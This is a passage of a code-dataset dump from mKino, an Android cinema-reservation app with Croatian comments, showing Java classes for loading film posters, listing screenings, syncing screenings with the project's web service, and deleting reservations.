\"no_license\",\n \"max_line_length\": 131,\n \"num_lines\": 38,\n \"path\": \"/client-side/src/hr/air/mkino/sd/LokalnaSlika.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.sd;\\r\\n\\r\\nimport android.graphics.Bitmap;\\r\\nimport android.graphics.BitmapFactory;\\r\\nimport android.os.Environment;\\r\\nimport hr.air.mkino.sucelja.ISlikaFilma;\\r\\n\\r\\n/**\\r\\n * Služi za dohvaćanje slike filma sa SD kartice.\\r\\n * Za konstruktor prima ID filma kojeg dalje koristi u metodama.\\r\\n * @author domagoj\\r\\n *\\r\\n */\\r\\npublic class LokalnaSlika implements ISlikaFilma {\\r\\n\\tint idFilma;\\r\\n\\t\\r\\n\\tpublic LokalnaSlika(int idFilma) {\\r\\n\\t\\tthis.idFilma = idFilma;\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Dohvaća sliku filma u velikom formatu.\\r\\n\\t * @return Bitmap objekt slike\\r\\n\\t */\\r\\n\\tpublic Bitmap dohvatiVelikuSliku() {\\r\\n\\t\\tBitmap slika = BitmapFactory.decodeFile(Environment.getExternalStorageDirectory().getPath() + \\\"/mKino/\\\" + idFilma + \\\".jpg\\\");\\r\\n\\t\\treturn slika;\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Dohvaća sliku filma u malom formatu (najčešće za prikaz u ListView-u).\\r\\n\\t * @return Bitmap objekt slike\\r\\n\\t */\\r\\n\\tpublic Bitmap dohvatiMaluSliku() {\\r\\n\\t\\tBitmap slika = BitmapFactory.decodeFile(Environment.getExternalStorageDirectory().getPath() + \\\"/mKino/\\\" + idFilma + \\\"_mala.jpg\\\");\\r\\n\\t\\treturn slika;\\r\\n\\t}\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.7088446617126465,\n \"alphanum_fraction\": 0.7140541672706604,\n \"avg_line_length\": 36.05286407470703,\n \"blob_id\": \"941c72857991b02d2d09980fa0e482547a7bc021\",\n \"content_id\": \"24ce0c5a9a45a1cdcd75d3615c7d1cb1c528e6f7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 8668,\n \"license_type\": \"no_license\",\n \"max_line_length\": 130,\n \"num_lines\": 227,\n \"path\": \"/client-side/src/hr/air/mkino/ProjekcijeActivity.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino;\\r\\n\\r\\nimport hr.air.mkino.core.Rezervacija;\\r\\nimport hr.air.mkino.listviewadapteri.StavkaProjekcije;\\r\\nimport hr.air.mkino.server.JsonFilmovi;\\r\\nimport hr.air.mkino.server.JsonProjekcije;\\r\\nimport hr.air.mkino.tipovi.ProjekcijaInfo;\\r\\nimport java.text.SimpleDateFormat;\\r\\nimport java.util.ArrayList;\\r\\nimport java.util.Date;\\r\\nimport java.util.List;\\r\\nimport android.app.Activity;\\r\\nimport android.content.Intent;\\r\\nimport android.os.Bundle;\\r\\nimport android.view.View;\\r\\nimport android.widget.AdapterView;\\r\\nimport android.widget.AdapterView.OnItemSelectedListener;\\r\\nimport android.widget.ArrayAdapter;\\r\\nimport android.widget.ListView;\\r\\nimport android.widget.Spinner;\\r\\nimport android.widget.TextView;\\r\\nimport android.widget.AdapterView.OnItemClickListener;\\r\\n\\r\\n/**Klasa koja služi za prikaz projekcija.\\r\\n * \\r\\n * @author bstivic\\r\\n */\\r\\npublic class ProjekcijeActivity extends Activity {\\r\\n\\tprivate Spinner odabirGrada;\\r\\n\\tprivate Spinner odabirDatuma;\\r\\n\\tprivate ListView popisProjekcija;\\r\\n\\tprivate List<ProjekcijaInfo> projekcije;\\r\\n\\t\\r\\n\\t\\r\\n\\t@Override\\r\\n\\tprotected void onCreate(Bundle savedInstanceState) {\\r\\n\\t\\t\\r\\n\\t\\tsuper.onCreate(savedInstanceState);\\r\\n\\t\\tsetContentView(R.layout.activity_projekcije);\\r\\n\\t\\tsetTitle(\\\"Popis projekcija\\\");\\r\\n\\t\\t\\r\\n\\t\\t// inicijaliziramo klasne varijable\\r\\n\\t\\todabirGrada = (Spinner) findViewById(R.id.rezervacije_spinner_grad);\\r\\n\\t\\todabirDatuma = (Spinner) findViewById(R.id.rezervacije_spiner_datum);\\r\\n\\t\\tpopisProjekcija= (ListView) findViewById(R.id.rezervacije_popis_projekcija);\\r\\n\\t\\r\\n\\t\\tint odabraniMultipleks = dohvatiOdabraniMultipleks();\\r\\n\\r\\n\\t\\t// postavljamo spinner na trenutno odabrani multipleks\\r\\n\\t\\todabirGrada.setSelection(odabraniMultipleks-1);\\r\\n\\t\\t\\r\\n\\t\\t// dohvaćamo aktualne filmove s web servisa, i pritom punimo/modificiramo lokalnu bazu filmova iz koje će se kasnije vući podaci\\r\\n\\t\\tJsonFilmovi jf = new JsonFilmovi();\\r\\n\\t\\tjf.dohvatiFilmove(this);\\r\\n\\t\\t\\r\\n\\t\\t//postavljamo spinner na današnji datum i popunjavamo ga sa datumima u iduća dva tjedna\\r\\n\\t\\tArrayList<String> dani = new ArrayList<String>();\\r\\n\\t\\t\\r\\n\\t\\t Date sadasnjiDatum = new Date();\\r\\n\\t\\t SimpleDateFormat formatDatuma = new SimpleDateFormat(\\\"dd.MM.yyyy\\\");\\r\\n\\r\\n\\t\\t //Zapisujemo 14 slijedećih kalendarskih dana u spinner\\r\\n\\t\\t for (int i = 0; i < 14; i++)\\r\\n\\t\\t {\\t\\t\\t\\r\\n\\t\\t \\tdani.add(formatDatuma.format(sadasnjiDatum)+\\\" \\\" +vratiDanUTjednu(sadasnjiDatum));\\r\\n\\t\\t \\tsadasnjiDatum = Rezervacija.dodajDan(sadasnjiDatum, 1);\\r\\n\\t\\t }\\r\\n\\t\\t ArrayAdapter<String> adapter = new ArrayAdapter<String>(this,\\r\\n\\t\\t android.R.layout.simple_spinner_item, dani);\\r\\n\\r\\n\\t\\t \\r\\n\\t\\t odabirDatuma.setAdapter(adapter);\\r\\n\\t\\t odabirDatuma.setSelection(0);\\r\\n\\t\\t \\r\\n\\t\\t //računamo koji je datum u spinneru s datumom\\r\\n\\t\\t sadasnjiDatum = new Date();\\r\\n\\t\\t odabirDatuma.setOnItemSelectedListener(new OnItemSelectedListener() {\\r\\n\\t\\t \\t@Override\\r\\n\\t\\t\\t\\tpublic void onItemSelected(AdapterView<?> arg0, View arg1, int arg2, long indeksDana) {\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t \\t\\tDate sadasnjiDatum = new Date();\\r\\n\\t\\t \\t\\t\\r\\n\\t\\t \\t\\tsadasnjiDatum = Rezervacija.dodajDan(sadasnjiDatum,(int)indeksDana);\\t\\t \\t\\t\\r\\n\\t\\t \\t\\t SimpleDateFormat formatDatuma2 = new SimpleDateFormat(\\\"yyyy-MM-dd\\\");\\r\\n\\t\\t \\t\\t \\r\\n\\t\\t \\t\\t //učitavamo datume u listview\\r\\n\\t\\t \\t\\tucitajProjekcijeUListView(formatDatuma2.format(sadasnjiDatum));\\t\\t \\t\\t\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\tpublic void onNothingSelected(AdapterView<?> arg0) {}\\t\\t \\r\\n\\t\\t \\r\\n\\t\\t });\\r\\n\\t\\t \\r\\n\\t\\t //prilikom odabira grada mijenja se prikaz projekcija za odabrani grad\\r\\n\\t\\t odabirGrada.setOnItemSelectedListener(new OnItemSelectedListener() {\\r\\n\\t\\t \\t@Override\\r\\n\\t\\t\\t\\tpublic void onItemSelected(AdapterView<?> arg0, View arg1, int arg2, long idOdabranogMultipleksa) {\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\r\\n\\r\\n\\t\\t \\t\\t//ponovno zahtjevamo projekcije za odabrani grad\\r\\n\\t\\t \\t\\tprojekcije = dohvatiProjekcije((int)idOdabranogMultipleksa+1);\\t\\r\\n\\t\\t \\t\\t\\r\\n\\t\\t \\t\\tDate sadasnjiDatum = new Date();\\r\\n\\t\\t \\t\\tsadasnjiDatum = Rezervacija.dodajDan(sadasnjiDatum,(int)odabirDatuma.getSelectedItemPosition());\\r\\n\\t\\t \\t\\tSimpleDateFormat formatDatuma2 = new SimpleDateFormat(\\\"yyyy-MM-dd\\\");\\r\\n\\t\\t \\t\\t//učitavamo datume u listview\\r\\n\\t\\t \\t\\tucitajProjekcijeUListView(formatDatuma2.format(sadasnjiDatum));\\r\\n\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t@Override\\r\\n\\t\\t\\t\\tpublic void onNothingSelected(AdapterView<?> arg0) {}\\r\\n\\t\\t\\t});\\r\\n\\t\\t \\r\\n\\t\\t// postavljamo listener na ListView s projekcijama\\r\\n\\t\\tpopisProjekcija.setOnItemClickListener(new OnItemClickListener() {\\r\\n\\t\\t\\t@Override\\r\\n\\t\\t\\tpublic void onItemClick(AdapterView<?> arg0, View kliknutaProjekcija, int pozicijaKliknuteProjekcije, long idKli) {\\r\\n\\t\\t\\t\\tTextView tv = (TextView) kliknutaProjekcija.findViewById(R.id.id_projekcije_u_bazi);\\r\\n\\t\\t\\t\\tint idProjekcijeUBazi = Integer.parseInt(tv.getText().toString());\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t//prilikom kilika otvaraju se detalji o projekciji\\r\\n\\t\\t\\t\\tIntent i = new Intent(ProjekcijeActivity.this, DetaljiProjekcijeActivity.class);\\r\\n\\t\\t\\t\\ti.putExtra(\\\"idProjekcijeUBazi\\\", idProjekcijeUBazi);\\r\\n\\t\\t\\t\\tstartActivity(i);\\r\\n\\t\\t\\t}\\r\\n\\t\\t});\\r\\n\\t\\t\\r\\n\\t\\t// dohvaćamo filmove i pohranjujemo ih u ListView \\\"popisFilmova\\\". Tu se automatski prikazuju na zaslon\\r\\n\\t\\tprojekcije = dohvatiProjekcije(odabraniMultipleks);\\r\\n\\t\\tSimpleDateFormat formatDatuma2 = new SimpleDateFormat(\\\"yyyy-MM-dd\\\");\\r\\n\\t\\tucitajProjekcijeUListView(formatDatuma2.format(sadasnjiDatum));\\r\\n\\t\\r\\n\\t}\\r\\n\\t\\t\\r\\n\\t\\r\\n\\t/**Postavlja spinner za izbor multipleksa na vrijednost trenutnog multipleksa u bazi.\\r\\n\\t * Ukoliko on ne postoji ondje, odabire se prvi multipleks (indeks 0) koji je Zagreb\\r\\n\\t */\\r\\n\\tprivate int dohvatiOdabraniMultipleks() {\\r\\n\\t\\tfinal int ZAGREB = 1;\\r\\n\\t\\tint odabraniMultipleks = 1;//oma.dohvatiOdabraniMultipleks();\\r\\n\\t\\t\\r\\n\\t\\tif (odabraniMultipleks >= 1)\\r\\n\\t\\t\\treturn odabraniMultipleks;\\r\\n\\t\\telse\\r\\n\\t\\t\\treturn ZAGREB;\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**Dohvaća projekcije.\\r\\n\\t * \\r\\n\\t * Ova metoda pokreće dohvaćanje projekcije na dva načina. Prvo se dohvaćaju iz baze indeksi svih projekcija.\\r\\n\\t * Potom se oblikuju u JSON i šalje se zahtjev web servisu. Servis vraća samo one projekcije \\r\\n\\t * kojih nema u lokalnoj bazi, kao i one koje treba ukloniti iz lokalne baze.\\r\\n\\t * Nakon toga se projekcije prikazuju na zaslon.\\r\\n\\t * Ovaj princip je odabran kako bi se korisnicima uštedio podatkovni promet, odnosno,\\r\\n\\t * kako se ne bi uvijek dohvaćali svi filmovi sa servisa\\r\\n\\t * \\r\\n\\t * @param id multipleksa\\r\\n\\t * @return ažurirane projekcije\\r\\n\\t */\\r\\n\\tprivate List<ProjekcijaInfo> dohvatiProjekcije(int multipleks)\\r\\n\\t{\\t\\r\\n\\t\\tJsonProjekcije jf = new JsonProjekcije();\\r\\n\\t\\t\\r\\n\\t\\tList<ProjekcijaInfo> pinf = jf.dohvatiProjekcije(this, multipleks);\\t\\t\\r\\n\\t\\treturn pinf;\\r\\n\\t}\\r\\n\\r\\n\\r\\n\\t/** Dohvaća projekcije i učitava ih u ListView.\\r\\n\\t * @params datum projekcija\\r\\n\\t */\\r\\n\\tprivate void ucitajProjekcijeUListView(String datum)\\r\\n\\t{\\r\\n\\t\\tList<ProjekcijaInfo> danasnjeProjekcije = filtrirajProjekcijeZaDatum(datum);\\r\\n\\t\\tArrayAdapter<ProjekcijaInfo> adapter = new StavkaProjekcije(this, R.layout.stavka_projekcije, danasnjeProjekcije);\\r\\n\\t\\tListView lv = (ListView) findViewById(R.id.rezervacije_popis_projekcija);\\r\\n\\t\\tlv.setAdapter(adapter);\\r\\n\\t}\\r\\n\\t\\r\\n\\t\\r\\n\\t/**Filtiranje projekcija za odabrani datum.\\r\\n\\t * Iz popisa svih projekcija filtrira samo današnje projekcije.\\r\\n\\t * S ovim sprječavamo nova dohvaćanja projekcija kada se promijeni datum prikazivanja projekcija\\r\\n\\t * @param odabrani datum\\r\\n\\t * @return lista današnjih projekcija\\r\\n\\t */\\r\\n\\tprivate List<ProjekcijaInfo> filtrirajProjekcijeZaDatum(String datum) {\\r\\n\\t\\tList<ProjekcijaInfo> danasnjeProjekcije = new ArrayList<ProjekcijaInfo>();\\r\\n\\t\\t\\r\\n\\t\\t//prolazimo kroz sve projekcije i provjeravamo dan, mjesec i godinu početka\\r\\n\\t\\tfor(ProjekcijaInfo projekcija : projekcije)\\r\\n\\t\\t{\\r\\n\\t\\t\\tif (datum.equals(projekcija.getVrijemePocetka().substring(0, 10)))\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tdanasnjeProjekcije.add(projekcija);\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn danasnjeProjekcije;\\r\\n\\t}\\r\\n\\t/**\\r\\n\\t * Metoda koja vraća dan u tjednu.\\r\\n\\t * @param datum\\r\\n\\t * @return string dan u tjednu\\r\\n\\t */\\r\\n\\t public String vratiDanUTjednu(Date datum)\\r\\n\\t { \\r\\n\\t\\t String danOriginal;\\r\\n\\t\\t SimpleDateFormat formatDana = new SimpleDateFormat(\\\"E\\\");\\r\\n\\r\\n\\t\\t //dohvaćame dane u tjednu iz resursa\\r\\n\\t\\t String[] daniUTjednu = getResources().getStringArray(R.array.dani_u_tjednu);\\r\\n\\t\\t \\r\\n\\t\\t danOriginal = formatDana.format(datum);\\r\\n\\t\\t \\r\\n\\t\\t if(danOriginal.compareTo(\\\"Mon\\\") == 0 ) return daniUTjednu[0];\\r\\n\\t\\t else if(danOriginal.compareTo(\\\"Tue\\\") == 0 ) return daniUTjednu[1];\\r\\n\\t\\t else if(danOriginal.compareTo(\\\"Wed\\\") == 0 ) return daniUTjednu[2];\\r\\n\\t\\t else if(danOriginal.compareTo(\\\"Thu\\\") == 0 ) return daniUTjednu[3];\\r\\n\\t\\t else if(danOriginal.compareTo(\\\"Fri\\\") == 0 ) return daniUTjednu[4];\\r\\n\\t\\t else if(danOriginal.compareTo(\\\"Sat\\\") == 0 ) return daniUTjednu[5];\\r\\n\\t\\t else if(danOriginal.compareTo(\\\"Sun\\\") == 0 ) return daniUTjednu[6];\\r\\n\\t\\t else return danOriginal.toString();\\r\\n\\t\\t\\r\\n\\t }\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.8300395011901855,\n \"alphanum_fraction\": 0.8300395011901855,\n \"avg_line_length\": 49.599998474121094,\n \"blob_id\": \"9a90d3235ec82a2266b05825d08118ae9667c15a\",\n \"content_id\": \"183d9b598de4f159fa53ba4b22f6a8ee743a5cc9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 258,\n \"license_type\": \"no_license\",\n \"max_line_length\": 114,\n \"num_lines\": 5,\n \"path\": \"/README.md\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#Klijentska strana\\nMapa client-side predstavlja mobilnu aplikaciju koja će se izvršavati na Android uređaju (klijentu)\\n\\n#Serverska strana\\nMapa server-side predstavlja skup PHP skripti, bazu podataka i ostale materijale, koji će se izrvšavati na serveru\\n\"\n },\n {\n \"alpha_fraction\": 0.72089684009552,\n \"alphanum_fraction\": 0.7221524715423584,\n \"avg_line_length\": 30.9881649017334,\n \"blob_id\": \"3b3712789a7028a72122227d15d1b1ac1a212e92\",\n \"content_id\": \"a53b6de6a4782b1a38bc99441569e32c159e7cbf\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 5595,\n \"license_type\": \"no_license\",\n \"max_line_length\": 219,\n \"num_lines\": 169,\n \"path\": \"/client-side/src/hr/air/mkino/server/JsonProjekcije.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.server;\\r\\n\\r\\nimport hr.air.mkino.baza.FilmoviAdapter;\\r\\n\\r\\nimport hr.air.mkino.baza.ProjekcijeAdapter;\\r\\nimport hr.air.mkino.tipovi.FilmInfo;\\r\\nimport hr.air.mkino.tipovi.ProjekcijaInfo;\\r\\n\\r\\nimport java.io.IOException;\\r\\nimport java.io.UnsupportedEncodingException;\\r\\nimport java.util.ArrayList;\\r\\n\\r\\nimport java.util.List;\\r\\nimport java.util.concurrent.ExecutionException;\\r\\n\\r\\nimport org.apache.http.NameValuePair;\\r\\nimport org.apache.http.client.ClientProtocolException;\\r\\nimport org.apache.http.client.HttpClient;\\r\\nimport org.apache.http.client.ResponseHandler;\\r\\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\\r\\nimport org.apache.http.client.methods.HttpPost;\\r\\nimport org.apache.http.impl.client.BasicResponseHandler;\\r\\nimport org.apache.http.impl.client.DefaultHttpClient;\\r\\nimport org.apache.http.message.BasicNameValuePair;\\r\\nimport org.json.JSONArray;\\r\\nimport org.json.JSONException;\\r\\nimport org.json.JSONObject;\\r\\n\\r\\nimport android.content.Context;\\r\\nimport android.os.AsyncTask;\\r\\n\\r\\n/**\\r\\n * Klasa koja služi z aasinkrono dohvaćanje projekcija sa web servisa.\\r\\n * @author bstivic\\r\\n *\\r\\n */\\r\\npublic class JsonProjekcije extends AsyncTask <String, Void, String> {\\r\\n\\r\\nProjekcijeAdapter bazaProjekcija;\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Dohvaća projekcije sa web servisa. To ne uključuje one projekcije koji se već nalaze u lokalnoj bazi\\r\\n\\t * @return projekcije u Jsonformatu\\r\\n\\t */\\r\\n\\tpublic List<ProjekcijaInfo> dohvatiProjekcije(Context c, int multipleks)\\r\\n\\t{\\r\\n\\t\\t// najprije dohvaćamo id-eve projekcija iz lokalne baze podataka, kako bi znali koje projekcije ne trebamo dohvaćati sa webservisa\\r\\n\\t\\tbazaProjekcija = new ProjekcijeAdapter(c);\\r\\n\\t\\tList<Integer> idProjekcija = bazaProjekcija.dohvatiIdProjekcija();\\r\\n\\t\\t\\r\\n\\t\\t// pretvaramo listu s id-evima projekcija u JSON string \\r\\n\\t\\tStringBuilder sb = new StringBuilder();\\r\\n\\t\\tsb.append(\\\"[\\\");\\r\\n\\t\\tfor(int i=0; i<idProjekcija.size(); i++)\\r\\n\\t\\t{\\r\\n\\t\\t\\tsb.append(\\\"{\\\\\\\"idProjekcije\\\\\\\":\\\\\\\"\\\" + idProjekcija.get(i) + \\\"\\\\\\\"}\\\");\\r\\n\\t\\t\\t// ako se ne radi o posljednjem elementu, dodat ćemo zarez\\r\\n\\t\\t\\tif (i != idProjekcija.size() - 1)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tsb.append(\\\",\\\");\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\tsb.append(\\\"]\\\");\\r\\n\\t\\t// finalni JSON string koji ćemo slati web servisu putem HTTP-POST metode\\r\\n\\t\\tString jsonString = sb.toString();\\r\\n\\t\\t\\r\\n\\t\\tString mult = Integer.toString(multipleks);\\r\\n\\t\\tthis.execute(jsonString,mult);\\r\\n\\t\\tString jsonRezultat = \\\"\\\";\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tjsonRezultat = this.get();\\r\\n\\t\\t} catch (InterruptedException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t} catch (ExecutionException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\r\\n\\r\\n\\t\\t\\tList<ProjekcijaInfo> projekcije = parsirajJson(jsonRezultat, c, multipleks);\\r\\n\\t\\t\\treturn projekcije;\\r\\n\\t\\t\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Parsira JSON string dohvaćen s web servisa \\r\\n\\t * @param jsonRezultat\\r\\n\\t * @return projekcije\\r\\n\\t */\\r\\n\\tprivate List<ProjekcijaInfo> parsirajJson(String jsonRezultat, Context c, int multipleksOdabrani) {\\r\\n\\t\\tList<ProjekcijaInfo> projekcije\\t= new ArrayList<ProjekcijaInfo>();\\r\\n\\t\\tFilmoviAdapter filmAd = new FilmoviAdapter(c);\\r\\n\\t\\tint film;\\r\\n\\t\\tint dvorana;\\r\\n\\t\\tString vrijemePocetka;\\r\\n\\t\\tfloat cijena;\\t\\t\\r\\n\\t\\tint multipleks;\\t\\r\\n\\t\\tint idProjekcije;\\r\\n\\t\\t\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tJSONArray projekcijeJson = new JSONArray(jsonRezultat);\\r\\n\\t\\t\\tint n = projekcijeJson.length();\\r\\n\\t\\t\\tfor(int i=0; i<n; i++)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tJSONObject projekcijaJson = projekcijeJson.getJSONObject(i);\\r\\n\\t\\t\\t\\tfilm = projekcijaJson.getInt(\\\"film\\\");\\r\\n\\t\\t\\t\\tdvorana = projekcijaJson.getInt(\\\"brojDvorane\\\");\\r\\n\\t\\t\\t\\tvrijemePocetka = projekcijaJson.getString(\\\"vrijemePocetka\\\");\\r\\n\\t\\t\\t\\tcijena = (float)projekcijaJson.getDouble(\\\"cijena\\\");\\r\\n\\t\\t\\t\\tidProjekcije = projekcijaJson.getInt(\\\"idProjekcije\\\");\\r\\n\\t\\t\\t\\tmultipleks = projekcijaJson.getInt(\\\"multipleks\\\");\\r\\n\\t\\t\\t\\tFilmInfo filmInf = filmAd.dohvatiDetaljeFilma(film);\\t\\r\\n\\r\\n\\t\\t\\t\\tProjekcijaInfo projekcija = new ProjekcijaInfo(idProjekcije, dvorana, filmInf,vrijemePocetka, multipleks, cijena); \\t\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\tprojekcije.add(projekcija);\\r\\n\\t\\t\\t}\\r\\n\\t\\t}\\r\\n\\t\\tcatch (JSONException e) {\\r\\n\\t\\t\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\t\\r\\n\\t bazaProjekcija.azurirajBazuProjekcija(projekcije);\\r\\n\\r\\n\\t\\t// nakon ažuriranja baze, dohvaćamo ponovno sve filmove iz baze\\r\\n\\t\\tprojekcije = bazaProjekcija.dohvatiProjekcije(multipleksOdabrani, c);\\r\\n\\t\\t\\r\\n\\t\\treturn projekcije;\\r\\n\\t}\\r\\n\\t\\r\\n\\t// pomoćna metoda koja u pozadini obrađuje http zahtjev (dohvaćanje podataka)\\r\\n\\t@Override\\r\\n\\tprotected String doInBackground(String... parametri) {\\r\\n\\t\\tString jsonString = parametri[0];\\r\\n\\t\\tString multipleks = parametri[1];\\r\\n\\t\\r\\n\\t\\tHttpClient httpKlijent = new DefaultHttpClient();\\r\\n\\t\\t// HTTP-POST metodom ćemo poslati JSON string. U tom JSON stringu se nalaze indeksi svih projekcija koji se nalaze u lokalnoj bazi. Web servis će vratiti sve one projekcije čiji se indeksi ne nalaze u tom JSON stringu\\r\\n\\t\\tHttpPost httpPost = new HttpPost(\\\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=projekcijeMultipleks&multipleks=\\\"+multipleks);\\r\\n\\t\\t\\r\\n\\t\\t// dodajemo JSON string u \\\"httpPost\\\" objekt\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tList<NameValuePair> podaci = new ArrayList<NameValuePair>();\\r\\n\\t\\t\\tpodaci.add(new BasicNameValuePair(\\\"bezOvihProjekcija\\\", jsonString));\\r\\n\\t\\t\\thttpPost.setEntity(new UrlEncodedFormEntity(podaci));\\r\\n\\t\\t} catch (UnsupportedEncodingException e1) {\\r\\n\\t\\t\\te1.printStackTrace();\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\tString jsonRezultat = \\\"\\\";\\r\\n\\t\\tResponseHandler<String> handler = new BasicResponseHandler();\\r\\n\\t\\t\\r\\n\\t\\t// ono što dohvatimo u jsonRezultat će biti odgovor servera (web servisa)\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tjsonRezultat = httpKlijent.execute(httpPost, handler);\\r\\n\\t\\t}\\r\\n\\t\\tcatch(ClientProtocolException e){\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\tcatch(IOException e){\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\thttpKlijent.getConnectionManager().shutdown();\\r\\n\\t\\treturn jsonRezultat;\\r\\n\\t}\\r\\n\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.7113272547721863,\n \"alphanum_fraction\": 0.7138374447822571,\n \"avg_line_length\": 26.45535659790039,\n \"blob_id\": \"359f10c83ef0183b231600f111cf3df6ac248b7a\",\n \"content_id\": \"70240173da1b06e9dd19336ee9199fe2438c5911\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 3190,\n \"license_type\": \"no_license\",\n \"max_line_length\": 114,\n \"num_lines\": 112,\n \"path\": \"/client-side/src/hr/air/mkino/server/JsonObrisiRegistraciju.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.server;\\r\\n\\r\\nimport java.io.IOException;\\r\\nimport java.util.ArrayList;\\r\\nimport java.util.List;\\r\\nimport java.util.concurrent.ExecutionException;\\r\\n\\r\\nimport org.apache.http.NameValuePair;\\r\\nimport org.apache.http.client.ClientProtocolException;\\r\\nimport org.apache.http.client.HttpClient;\\r\\nimport org.apache.http.client.ResponseHandler;\\r\\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\\r\\nimport org.apache.http.client.methods.HttpPost;\\r\\nimport org.apache.http.impl.client.BasicResponseHandler;\\r\\nimport org.apache.http.impl.client.DefaultHttpClient;\\r\\nimport org.apache.http.message.BasicNameValuePair;\\r\\nimport org.json.JSONArray;\\r\\nimport org.json.JSONException;\\r\\nimport org.json.JSONObject;\\r\\n\\r\\n\\r\\nimport android.content.Context;\\r\\nimport android.os.AsyncTask;\\r\\n/**\\r\\n * Klasa koja služi za brisanje rezervacije na udaljenoj bazi podataka.\\r\\n * @author bstivic\\r\\n *\\r\\n */\\r\\npublic class JsonObrisiRegistraciju extends AsyncTask<String, Void, String> {\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Metoda koja služi za brisanje rezervacije.\\r\\n\\t * komunicira sa web servisom\\r\\n\\t * @param korisnickoIme\\r\\n\\t * @param idProjekcije\\r\\n\\t * @param context\\r\\n\\t * @return uspjesnost 0-uspjesno, - neuspjesno\\r\\n\\t */\\r\\n\\tpublic int dohvati(String korisnickoIme, String idProjekcije, Context c)\\r\\n\\t{\\t\\t\\t\\t\\t\\r\\n\\t\\tthis.execute(korisnickoIme, idProjekcije);\\r\\n\\t\\tString jsonRezultat = \\\"\\\";\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tjsonRezultat = this.get();\\r\\n\\t\\t} catch (InterruptedException e) {\\r\\n\\t\\t\\t\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t} catch (ExecutionException e) {\\r\\n\\t\\t\\t\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn parsirajJson(jsonRezultat);\\t\\t\\t\\r\\n\\t}\\r\\n\\r\\n/**\\r\\n * Metoda koja parsira rezultat web servisa.\\r\\n * @param jsonRezultat\\r\\n * @return 0 uspjesno, <0 neuspjesno\\r\\n */\\r\\n\\tprivate int parsirajJson(String jsonRezultat) {\\t\\t\\r\\n\\t\\tint povratnaInformacijaId = 7;\\r\\n\\t\\t\\r\\n\\t\\ttry {\\r\\n\\t\\t\\tJSONArray rezultati = new JSONArray(jsonRezultat);\\r\\n\\t\\t\\tint n = rezultati.length();\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t\\tfor(int i=0; i<n; i++)\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\tJSONObject rezultat = rezultati.getJSONObject(i);\\t\\t\\t\\t\\r\\n\\t\\t\\t\\tpovratnaInformacijaId = rezultat.getInt(\\\"povratnaInformacijaId\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\tcatch (JSONException e) {\\r\\n\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\treturn -7;\\r\\n\\t\\t}\\r\\n\\t\\t\\r\\n\\t\\treturn povratnaInformacijaId;\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Metoda koja služi za asinkronu 